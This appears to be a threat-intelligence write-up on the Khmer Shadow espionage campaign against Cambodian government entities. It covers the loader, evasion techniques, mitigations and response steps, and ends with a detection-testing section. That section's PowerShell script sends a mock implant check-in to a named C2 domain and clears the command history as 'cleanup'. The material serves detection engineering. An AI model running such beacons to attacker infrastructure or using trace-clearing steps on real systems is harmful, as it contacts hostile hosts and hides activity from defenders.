Khmer Shadow Targets Cambodian Government Entities in Espionage Campaign

Summary

A newly identified threat cluster tracked as Khmer Shadow is running espionage-oriented operations against Cambodian government organizations, particularly in the defense and public works sectors. The attackers use a custom C++ loader named NIGHTFORGE to sideload a Havoc Demon payload directly into memory. The campaign also employs advanced evasion methods, including NTDLL unhooking and Hell’s Gate syscall resolution, to reduce visibility and bypass security controls.

Investigation

Acronis TRU uncovered two separate campaigns that used meeting-themed self-extracting archives as the initial delivery method. Analysts examined the NIGHTFORGE loader and documented its ability to resolve syscalls dynamically and unhook NTDLL in order to conceal malicious activity. The investigation also connected multiple command-and-control environments by pivoting on shared JARM fingerprints and reused Cloudflare Origin Certificates.

Mitigation

Organizations should implement strong monitoring for suspicious DLL sideloading behavior, especially when legitimate signed binaries such as VMwareNamespaceCmd.exe are involved. Defenders should also watch for unauthorized scheduled task creation and unusual child processes, including gpupdate.exe, being launched by unexpected parent processes. Endpoint protection capable of detecting direct syscall activity and memory-resident payloads can further improve coverage.

Response

If Khmer Shadow activity is detected, affected systems should be isolated immediately to disrupt further command-and-control communication. Investigators should perform forensic analysis of the %LOCALAPPDATA% directory to identify any persistent VMwareNamespace-related artifacts. Network logs should also be reviewed for outbound HTTPS traffic to the known command-and-control domains, and credentials used on compromised systems should be reset.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: An adversary has successfully deployed a Havoc Demon implant on a workstation within the target network. To establish Command and Control (C2) and evade basic perimeter defenses, the implant is configured to communicate with a specific set of domains identified in recent threat intelligence regarding Khmer Shadow activity. The implant will initiate an HTTP GET request to sharingfile.cloud to signal its presence and await further instructions. This action is designed to generate a proxy log entry containing the suspicious domain string.

• Regression Test Script:

  # Simulation script to trigger the Khmer Shadow C2 detection rule
  # This mimics a C2 check-in via an HTTP request to a suspicious domain.
  
  $C2_Domain = "http://sharingfile.cloud/api/v1/checkin"
  $UserAgent = "Havoc-Demon-Implant-v1.0"
  
  Write-Host "[!] Initiating simulated C2 communication to: $C2_Domain" -ForegroundColor Red
  
  try {
      # Using Invoke-WebRequest to simulate the network activity
      # A custom User-Agent is used to mimic a specific tool signature
      $response = Invoke-WebRequest -Uri $C2_Domain -UserAgent $UserAgent -Method Get -ErrorAction SilentlyContinue
      Write-Host "[+] Request sent successfully (Note: Failure is expected if domain is sinkholed/offline)." -ForegroundColor Green
  }
  catch {
      Write-Host "[+] Request attempted. Check proxy logs for connection attempt to the suspicious domain." -ForegroundColor Yellow
  }

• Cleanup Commands:

  # No persistent changes made by this simulation. 
  # Clearing the command history to remove traces of the simulation.
  Clear-History
  Write-Host "[+] Cleanup complete." -ForegroundColor Green